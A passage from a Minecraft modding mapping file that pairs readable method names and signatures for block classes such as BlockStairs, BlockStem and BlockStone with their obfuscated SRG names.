(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockSponge/func_176311_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockSponge/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockSponge/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockStainedGlass/canSilkHarvest ()Z net/minecraft/block/BlockStainedGlass/func_149700_E ()Z +MD: net/minecraft/block/BlockStainedGlass/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStainedGlass/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStainedGlass/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStainedGlass/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStainedGlass/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockStainedGlass/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockStainedGlass/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockStainedGlass/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockStainedGlass/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStainedGlass/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStainedGlass/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStainedGlass/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStainedGlass/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStainedGlass/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStainedGlass/isFullCube ()Z net/minecraft/block/BlockStainedGlass/func_149686_d ()Z +MD: net/minecraft/block/BlockStainedGlass/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStainedGlass/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStainedGlass/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStainedGlass/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStainedGlass/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockStainedGlass/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockStainedGlassPane/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStainedGlassPane/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStainedGlassPane/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStainedGlassPane/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStainedGlassPane/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockStainedGlassPane/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockStainedGlassPane/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStainedGlassPane/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStainedGlassPane/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStainedGlassPane/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStainedGlassPane/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStainedGlassPane/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStainedGlassPane/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStainedGlassPane/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStainedGlassPane/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStainedGlassPane/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStainedGlassPane/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockStainedGlassPane/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockStairs$EnumHalf/getName ()Ljava/lang/String; net/minecraft/block/BlockStairs$EnumHalf/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockStairs$EnumHalf/toString ()Ljava/lang/String; net/minecraft/block/BlockStairs$EnumHalf/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockStairs$EnumHalf/values ()[Lnet/minecraft/block/BlockStairs$EnumHalf; net/minecraft/block/BlockStairs$EnumHalf/values ()[Lnet/minecraft/block/BlockStairs$EnumHalf; +MD: net/minecraft/block/BlockStairs$EnumShape/getName ()Ljava/lang/String; net/minecraft/block/BlockStairs$EnumShape/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockStairs$EnumShape/toString ()Ljava/lang/String; net/minecraft/block/BlockStairs$EnumShape/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockStairs$EnumShape/values ()[Lnet/minecraft/block/BlockStairs$EnumShape; net/minecraft/block/BlockStairs$EnumShape/values ()[Lnet/minecraft/block/BlockStairs$EnumShape; +MD: net/minecraft/block/BlockStairs/isCollidable ()Z net/minecraft/block/BlockStairs/func_149703_v ()Z +MD: net/minecraft/block/BlockStairs/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStairs/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStairs/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockStairs/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockStairs/onBlockDestroyedByExplosion (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/Explosion;)V net/minecraft/block/BlockStairs/func_180652_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/Explosion;)V +MD: net/minecraft/block/BlockStairs/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockStairs/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockStairs/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockStairs/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockStairs/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/BlockStairs/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/BlockStairs/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStairs/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStairs/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockStairs/func_176199_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockStairs/modifyAcceleration (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/block/BlockStairs/func_176197_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/block/BlockStairs/onBlockClicked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockStairs/func_180649_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockStairs/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockStairs/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockStairs/isSameStair (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockStairs/func_176302_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockStairs/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStairs/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStairs/canCollideCheck (Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockStairs/func_176209_a (Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockStairs/getExplosionResistance (Lnet/minecraft/entity/Entity;)F net/minecraft/block/BlockStairs/func_149638_a (Lnet/minecraft/entity/Entity;)F +MD: net/minecraft/block/BlockStairs/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockStairs/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockStairs/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStairs/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStairs/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockStairs/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockStairs/isOpaqueCube ()Z net/minecraft/block/BlockStairs/func_149662_c ()Z +MD: net/minecraft/block/BlockStairs/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStairs/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStairs/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockStairs/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockStairs/getMixedBrightnessForBlock (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockStairs/func_176207_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockStairs/isBlockStairs (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockStairs/func_150148_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockStairs/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStairs/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStairs/isFullCube ()Z net/minecraft/block/BlockStairs/func_149686_d ()Z +MD: net/minecraft/block/BlockStairs/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockStairs/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockStairs/onBlockDestroyedByPlayer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStairs/func_176206_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStairs/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStairs/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStairs/setBaseCollisionBounds (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockStairs/func_176303_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockStairs/func_176307_f (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockStairs/func_176307_f (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockStairs/func_176305_g (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockStairs/func_176305_g (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockStairs/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStairs/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStairs/func_176306_h (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockStairs/func_176306_h (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockStairs/func_176304_i (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockStairs/func_176304_i (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockStairs/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockStairs/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockStandingSign/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStandingSign/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStandingSign/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockStandingSign/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockStandingSign/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStandingSign/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStandingSign/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStandingSign/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStaticLiquid/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockStaticLiquid/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockStaticLiquid/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockStaticLiquid/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockStaticLiquid/isSurroundingBlockFlammable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockStaticLiquid/func_176369_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockStaticLiquid/updateLiquid (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStaticLiquid/func_176370_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStaticLiquid/getCanBlockBurn (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockStaticLiquid/func_176368_m (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockStem$1/apply (Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockStem$1/apply (Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockStem$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockStem$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockStem/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStem/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStem/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockStem/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockStem/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockStem/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockStem/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockStem/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockStem/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockStem/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockStem/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockStem/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockStem/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStem/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStem/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockStem/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStem/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockStem/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockStem/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStem/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStem/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockStem/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStem/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockStem/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockStem/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStem/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStem/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStem/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStem/growStem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockStem/func_176482_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockStem/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStem/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStem/setBlockBoundsForItemRender ()V net/minecraft/block/BlockStem/func_149683_g ()V +MD: net/minecraft/block/BlockStem/getSeedItem ()Lnet/minecraft/item/Item; net/minecraft/block/BlockStem/func_176481_j ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStone$EnumType/getMetadata ()I net/minecraft/block/BlockStone$EnumType/func_176642_a ()I +MD: net/minecraft/block/BlockStone$EnumType/byMetadata (I)Lnet/minecraft/block/BlockStone$EnumType; net/minecraft/block/BlockStone$EnumType/func_176643_a (I)Lnet/minecraft/block/BlockStone$EnumType; +MD: net/minecraft/block/BlockStone$EnumType/func_181072_c ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStone$EnumType/func_181072_c ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStone$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockStone$EnumType/func_176644_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockStone$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockStone$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockStone$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockStone$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockStone$EnumType/values ()[Lnet/minecraft/block/BlockStone$EnumType; net/minecraft/block/BlockStone$EnumType/values ()[Lnet/minecraft/block/BlockStone$EnumType; +MD: net/minecraft/block/BlockStone/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStone/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStone/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStone/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStone/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockStone/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStone/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockStone/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockStone/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStone/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStone/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStone/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStone/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockStone/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockStone/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStone/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStoneBrick$EnumType/getMetadata ()I net/minecraft/block/BlockStoneBrick$EnumType/func_176612_a ()I +MD: net/minecraft/block/BlockStoneBrick$EnumType/byMetadata (I)Lnet/minecraft/block/BlockStoneBrick$EnumType; net/minecraft/block/BlockStoneBrick$EnumType/func_176613_a (I)Lnet/minecraft/block/BlockStoneBrick$EnumType; +MD: net/minecraft/block/BlockStoneBrick$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockStoneBrick$EnumType/func_176614_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneBrick$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockStoneBrick$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneBrick$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockStoneBrick$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneBrick$EnumType/values ()[Lnet/minecraft/block/BlockStoneBrick$EnumType; net/minecraft/block/BlockStoneBrick$EnumType/values ()[Lnet/minecraft/block/BlockStoneBrick$EnumType; +MD: net/minecraft/block/BlockStoneBrick/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStoneBrick/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStoneBrick/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStoneBrick/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStoneBrick/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockStoneBrick/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockStoneBrick/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStoneBrick/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStoneBrick/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStoneBrick/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/command/CommandHelp/getRequiredPermissionLevel ()I net/minecraft/command/CommandHelp/func_82362_a ()I +MD: net/minecraft/command/CommandHelp/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandHelp/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandHelp/addTabCompletionOptions 